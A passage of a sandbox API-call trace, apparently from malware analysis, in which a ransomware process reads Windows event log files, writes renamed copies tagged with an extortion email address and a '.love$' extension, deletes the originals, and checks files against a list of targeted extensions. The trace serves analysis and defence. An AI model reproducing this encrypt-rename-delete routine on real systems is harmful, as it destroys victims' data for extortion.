dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0121.387] GetLastError () returned 0x0 [0121.387] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.391] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.393] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.393] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x124, lpOverlapped=0x0) returned 1 [0121.393] SetEndOfFile (hFile=0x354) returned 1 [0121.393] CloseHandle (hObject=0x354) returned 1 [0121.396] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.396] SetEndOfFile (hFile=0x380) returned 1 [0121.397] CloseHandle (hObject=0x380) returned 1 [0121.397] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.398] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0121.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.398] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.398] lstrlenW (lpString=".doc") returned 4 [0121.398] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.398] lstrlenW (lpString=".docx") returned 5 [0121.398] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.398] lstrlenW (lpString=".pdf") returned 4 [0121.398] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.398] lstrlenW (lpString=".xls") returned 4 [0121.398] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.398] lstrlenW (lpString=".xlsx") returned 5 [0121.398] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.398] lstrlenW (lpString=".ppt") returned 4 [0121.398] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.399] lstrlenW (lpString=".zip") returned 4 [0121.399] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.399] lstrlenW (lpString=".rar") returned 4 [0121.399] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.399] lstrlenW (lpString=".bz2") returned 4 [0121.399] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.399] lstrlenW (lpString=".7z") returned 3 [0121.399] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.399] lstrlenW (lpString=".dbf") returned 4 [0121.399] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.399] lstrlenW (lpString=".1cd") returned 4 [0121.399] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.399] lstrlenW (lpString=".jpg") returned 4 [0121.399] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.399] lstrlenW (lpString=".doc") returned 4 [0121.399] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.399] lstrlenW (lpString=".docx") returned 5 [0121.399] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.399] lstrlenW (lpString=".pdf") returned 4 [0121.399] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.399] lstrlenW (lpString=".xls") returned 4 [0121.399] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.399] lstrlenW (lpString=".xlsx") returned 5 [0121.399] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.399] lstrlenW (lpString=".ppt") returned 4 [0121.399] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.399] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.400] lstrlenW (lpString=".zip") returned 4 [0121.400] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.400] lstrlenW (lpString=".rar") returned 4 [0121.400] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.400] lstrlenW (lpString=".bz2") returned 4 [0121.400] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.400] lstrlenW (lpString=".7z") returned 3 [0121.400] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.400] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.400] lstrlenW (lpString=".dbf") returned 4 [0121.400] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.400] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.400] lstrlenW (lpString=".1cd") returned 4 [0121.400] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.400] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48 [0121.400] lstrlenW (lpString=".jpg") returned 4 [0121.400] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.400] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.400] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50 [0121.400] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0121.401] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0121.401] CloseHandle (hObject=0x380) returned 1 [0121.401] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0121.401] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.401] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0121.401] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.401] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.401] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0121.402] GetLastError () returned 0x0 [0121.402] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.910] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.913] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.913] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x138, lpOverlapped=0x0) returned 1 [0121.913] SetEndOfFile (hFile=0x354) returned 1 [0121.913] CloseHandle (hObject=0x354) returned 1 [0121.920] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.921] SetEndOfFile (hFile=0x380) returned 1 [0121.922] CloseHandle (hObject=0x380) returned 1 [0121.922] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.923] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0121.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.923] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.923] lstrlenW (lpString=".doc") returned 4 [0121.923] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.923] lstrlenW (lpString=".docx") returned 5 [0121.923] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.923] lstrlenW (lpString=".pdf") returned 4 [0121.923] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.923] lstrlenW (lpString=".xls") returned 4 [0121.923] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.923] lstrlenW (lpString=".xlsx") returned 5 [0121.923] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.923] lstrlenW (lpString=".ppt") returned 4 [0121.924] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.924] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.924] lstrlenW (lpString=".zip") returned 4 [0121.924] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.924] lstrlenW (lpString=".rar") returned 4 [0121.924] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.924] lstrlenW (lpString=".bz2") returned 4 [0121.924] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.924] lstrlenW (lpString=".7z") returned 3 [0121.924] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.924] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.924] lstrlenW (lpString=".dbf") returned 4 [0121.924] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.924] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.925] lstrlenW (lpString=".1cd") returned 4 [0121.925] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.925] lstrlenW (lpString=".jpg") returned 4 [0121.925] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.925] lstrlenW (lpString=".doc") returned 4 [0121.925] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.925] lstrlenW (lpString=".docx") returned 5 [0121.925] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.925] lstrlenW (lpString=".pdf") returned 4 [0121.925] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.925] lstrlenW (lpString=".xls") returned 4 [0121.925] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.925] lstrlenW (lpString=".xlsx") returned 5 [0121.925] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.925] lstrlenW (lpString=".ppt") returned 4 [0121.925] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.925] lstrlenW (lpString=".zip") returned 4 [0121.925] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.925] lstrlenW (lpString=".rar") returned 4 [0121.925] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.925] lstrlenW (lpString=".bz2") returned 4 [0121.925] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.925] lstrlenW (lpString=".7z") returned 3 [0121.926] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.926] lstrlenW (lpString=".dbf") returned 4 [0121.926] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.926] lstrlenW (lpString=".1cd") returned 4 [0121.926] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58 [0121.926] lstrlenW (lpString=".jpg") returned 4 [0121.926] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.926] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.926] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46 [0121.926] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0121.927] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0121.927] CloseHandle (hObject=0x380) returned 1 [0121.927] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0121.927] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.927] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0121.927] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.927] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.927] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0121.928] GetLastError () returned 0x0 [0121.928] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0121.933] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0121.936] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0121.936] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x130, lpOverlapped=0x0) returned 1 [0121.936] SetEndOfFile (hFile=0x354) returned 1 [0121.936] CloseHandle (hObject=0x354) returned 1 [0121.939] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.939] SetEndOfFile (hFile=0x380) returned 1 [0121.941] CloseHandle (hObject=0x380) returned 1 [0121.941] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0121.941] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0121.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.942] lstrlenW (lpString=".doc") returned 4 [0121.942] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.942] lstrlenW (lpString=".docx") returned 5 [0121.942] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.942] lstrlenW (lpString=".pdf") returned 4 [0121.942] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.942] lstrlenW (lpString=".xls") returned 4 [0121.942] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.942] lstrlenW (lpString=".xlsx") returned 5 [0121.942] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.942] lstrlenW (lpString=".ppt") returned 4 [0121.942] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.942] lstrlenW (lpString=".zip") returned 4 [0121.942] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.942] lstrlenW (lpString=".rar") returned 4 [0121.943] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.943] lstrlenW (lpString=".bz2") returned 4 [0121.943] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.943] lstrlenW (lpString=".7z") returned 3 [0121.943] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.943] lstrlenW (lpString=".dbf") returned 4 [0121.943] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.943] lstrlenW (lpString=".1cd") returned 4 [0121.943] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.943] lstrlenW (lpString=".jpg") returned 4 [0121.943] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.943] lstrlenW (lpString=".doc") returned 4 [0121.943] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0121.943] lstrlenW (lpString=".docx") returned 5 [0121.943] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0121.943] lstrlenW (lpString=".pdf") returned 4 [0121.943] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0121.943] lstrlenW (lpString=".xls") returned 4 [0121.943] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0121.943] lstrlenW (lpString=".xlsx") returned 5 [0121.943] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0121.944] lstrlenW (lpString=".ppt") returned 4 [0121.944] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0121.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.944] lstrlenW (lpString=".zip") returned 4 [0121.944] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0121.944] lstrlenW (lpString=".rar") returned 4 [0121.944] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0121.944] lstrlenW (lpString=".bz2") returned 4 [0121.944] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0121.944] lstrlenW (lpString=".7z") returned 3 [0121.944] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0121.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.944] lstrlenW (lpString=".dbf") returned 4 [0121.944] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0121.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.944] lstrlenW (lpString=".1cd") returned 4 [0121.944] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0121.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0121.944] lstrlenW (lpString=".jpg") returned 4 [0121.944] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0121.944] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0121.944] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64 [0121.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0121.945] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=69632) returned 1 [0121.945] CloseHandle (hObject=0x380) returned 1 [0121.945] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0121.945] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0121.945] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0121.945] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.946] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0121.946] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0121.946] GetLastError () returned 0x0 [0121.946] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x11000, lpOverlapped=0x0) returned 1 [0122.148] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x11010, lpOverlapped=0x0) returned 1 [0122.151] ReadFile (in: hFile=0x380, lpBuffer=0x34c6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.151] WriteFile (in: hFile=0x354, lpBuffer=0x34c6020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x34c6020*, lpNumberOfBytesWritten=0x295fc94*=0x154, lpOverlapped=0x0) returned 1 [0122.151] SetEndOfFile (hFile=0x354) returned 1 [0122.525] CloseHandle (hObject=0x354) returned 1 [0122.532] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.532] SetEndOfFile (hFile=0x380) returned 1 [0122.535] CloseHandle (hObject=0x380) returned 1 [0122.535] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0122.535] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0122.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0122.536] lstrlenW 